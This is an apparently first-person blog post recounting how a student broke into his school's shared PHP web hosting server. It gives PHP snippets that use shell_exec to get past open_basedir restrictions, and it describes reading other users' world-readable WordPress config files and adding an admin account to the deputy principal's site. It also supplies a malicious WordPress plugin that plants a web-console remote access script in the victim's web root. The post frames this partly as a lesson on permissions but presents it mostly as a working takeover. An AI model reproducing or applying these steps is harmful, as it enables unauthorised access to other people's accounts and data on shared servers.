Identifying vulnerabilities in the school's web hosting server

Pixel Art XL

Pixel Art XL

…or why you should care about permissions and umask on a Linux PHP webserver.

Intro

SPŠE, the school I attend, has a server for hosting pupil websites. Some info that can be useful for an attack is right on its main page:

  • students have access to their own 4th level domain
  • access for uploading files is throught SFTP
  • Lighttpd webserver with PHP 7.3
  • MariaDB database server
  • Web interface to the database: Adminer or phpMyAdmin

Quick search of the PHP version tells us that the server must be running Debian 10 (codename Buster).

Filesystem access

The first thing I tried when I was given access was, of course, to try to list files in the root directory:

<?php
// Display potential errors
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

// Run builtin filesystem function
print_r(scandir("/"));
?>

Warning: scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/var/www/vfosnar/) in /var/www/vfosnar/web/index.php on line 8

That sadly didn’t work and returned an error message. But I didn’t stop here and tried executing linux ls command directly:

<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

print_r(shell_exec("ls /"));
?>

bin boot dev etc home initrd.img initrd.img.old lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old

And Voilà, that worked! It looks like the server admin forgot to deny access to shell_exec or thought nobody could abuse that. Anyway, he was wrong, and here we can see all folders residing in the root directory.

WordPress takeover

Now that I had access to read directories (ls) and files (cat) I went down the rabbit hole discovering every corner of the server. After some time the /var/www/ folder (from the error message above) caught my eye:

> ls -lh /var/www/
drwxr-xr-x   4 vfosnar      vfosnar      20.3K May 21 20:02 vfosnar
drwxr-xr-x   6 someotherguy someotherguy 6.0K  Apr 14 20:02 someotherguy
...

Wait, wait, wait. Is this really what I think…? Let’s break up, for example, that someotherguy folder:

drwxr-xr-x          = permissions table
4                   = number of hard links
someotherguy        = owner
someotherguy        = group
20.3K May 21 20:02  = last modified time
someotherguy        = name

# The permissions table
d rwx r-x r-x ...
|  |   |   |
|  |   |   └── EVERYONE ELSE CAN READ AND EXECUTE
|  |   |
|  |   └── people in the same group can read and execute
|  |
|  └── owner of the item can read, write, and execute
|
└── this item is a directory

That means I am allowed to read other people’s data! I had access to every WordPress config file on the server.

All I had to do is to modify the database and add another account with my own credentials. Now I’m in control of the deputy principal’s WordPress.

Account takeover

That’s nice and all, but is there a way I could get full account access? Well, there is already a way to upload custom PHP files into WordPress. Plugins!

This plugin simply copies a remote access script from my folder into the target’s public folder (I recommend using something like Web Console):

<?php
/**
 * Plugin Name: WordPress exploit
 */

function run() {
    echo `cp /var/www/<my-username>/web/console.php /var/www/$(whoami)/web/console.php`;
}

add_action( "init", "run" );
register_activation_hook( __FILE__, "abc" );
?>

And that’s it! All I had to do then is open https://<domain>/console.php and do whatever I want.

Comments

With an account on Mastodon/Fediverse, you can comment here. To reply to a specific comment click on the person's username.